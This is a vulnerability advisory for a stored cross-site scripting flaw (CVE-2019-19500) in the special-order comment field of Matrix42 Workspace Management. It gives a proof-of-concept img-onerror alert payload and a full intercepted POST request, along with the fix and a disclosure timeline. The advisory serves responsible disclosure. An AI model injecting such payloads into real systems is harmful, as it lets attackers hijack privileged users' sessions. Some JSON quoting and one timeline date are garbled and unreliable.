Matrix42 Workspace Management 9.1.2.2765 – Stored Cross-Site Scripting =============================================================================== Identifiers ------------------------------------------------- CVE-2019-19500 CVSSv3 score ------------------------------------------------- 9.1 [AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L&version=3.1)) Vendor ------------------------------------------------- Matrix42 ([https://www.matrix42.com](https://www.matrix42.com/)) Product ------------------------------------------------- Matrix42 combines the disciplines of Unified Endpoint Management (UEM), Software Asset Management (SAM), Automated Endpoint Security (AES) and Service Management (ITSM). With MyWorkspace, one can use the browser to access data and applications securely regardless of the device. With MX42 Workspace Management, one actively manage devices, applications, processes, and services simple, secure, and compliant. The innovative software seamlessly integrates physical, virtual, mobile and cloud-based workspaces into existing infrastructures. Affected versions ------------------------------------------------- - Workspace Management 9.1.2.2765 and below Credit ------------------------------------------------- Christian Pappas, Georg Ph E Heise (@gpheheise) / Lufthansa Industry Solutions (@LHIND_DLH) Vulnerability summary ------------------------------------------------- Workspace Management 9.1.2.2765 and below have a stored XSS vulnerability in the comment field for special order. A user can use this to exploit other privileged users eg managers or admins who are viewing excepting the order. Technical details ------------------------------------------------ The custom field when placing orders is vulnerable to a persistent cross site scripting (XSS) attack. An Attacker has to intercept the request made by the web application and modify it before submitting it to server. Proof of concept ------------------------------------------------- The following evidence is provided to illustrate the existence and exploitation: Modify the the custom field for special order similar to this: "<p><strong>Kali Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type" POST /m42Services/api/WidgetDialog/UpdateData/88b223a6-0686-c617-1445-08d6df7de1cf HTTP/1.1 Host: foo.bar.de Connection: close Content-Length: 1629 Origin: https:/foo.bar.de mx-application-id: MX_APPLICATION_ID Accept-Language: de-DE Authorization: Bearer beARerTokenHere Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 DNT: 1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Referer: https://foo.bar.de/wm/app-SelfServicePortal/search-page/subpage Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=SESSION_ID '{"Sys-Entity":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","ID”:”REQUEST_ID,”Sys-IsNew":false,"Sys-TimeStamp”:”TIMESTA”MP,”Sys-DisplayName":"Formular individuelle Softwareanfrage","Ud_LHIND_Service_Form_IndividualSoftwareRequestClassBase":{"Sys-TimeStamp”:”TIMESTAMP”,”ID":"fIDIDID”,”Software":"test","Description":"<p><strong>Kali Linux&nbsp;<img src=\"foo\" onerror=\"alert(\'Hacked by Lufthansa Industry Solutions!\')\" width=\"100\" height=\"30\"></strong></p>"},"_type":"Ud_LHIND_Service_Form_IndividualSoftwareRequestType","_id”:”IDNUMMER”,”DisplayString":"Formular individuelle Softwareanfrage","_displayName":"Formular individuelle Softwareanfrage","_name":"Formular individuelle Softwareanfrage","IsNew":false,"SPSCommonClassBase":{"Representitives":{"AddedRelations":[],"RemovedRelations":[]},"WorkflowErrors":{"AddedRelations":[],"RemovedRelations":[]},"Tasks":{"AddedRelations":[],"RemovedRelations":[]},"RelatedBackupObject":{"AddedRelations":[],"RemovedRelations":[]},"RelatedDependentObject":{"AddedRelations":[],"RemovedRelations":[]},"ServiceBookings":{"AddedRelations":[],"RemovedRelations":[]},"Bookings":{"AddedRelations":[],"RemovedRelations":[]},"FormForShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]},"Appointments":{"AddedRelations":[],"RemovedRelations":[]},"Memorandums":{"AddedRelations":[],"RemovedRelations":[]},"Service":{"AddedRelations":[],"RemovedRelations":[]},"Orders":{"AddedRelations":[],"RemovedRelations":[]},"ShoppingCarts":{"AddedRelations":[],"RemovedRelations":[]}}}' ` Solution ------------------------------------------------- Upgrade to Matrix42 Workspace Management Version 10.0 Timeline ------------------------------------------------- Date | Status ------------|----------------------------- 02-DEZ-2019 | Reported to vendor 09-DEZ-2020 | Acknowledged by vendor 31-MAR-2020 | Patch available 14-APR-2020 | Public disclosure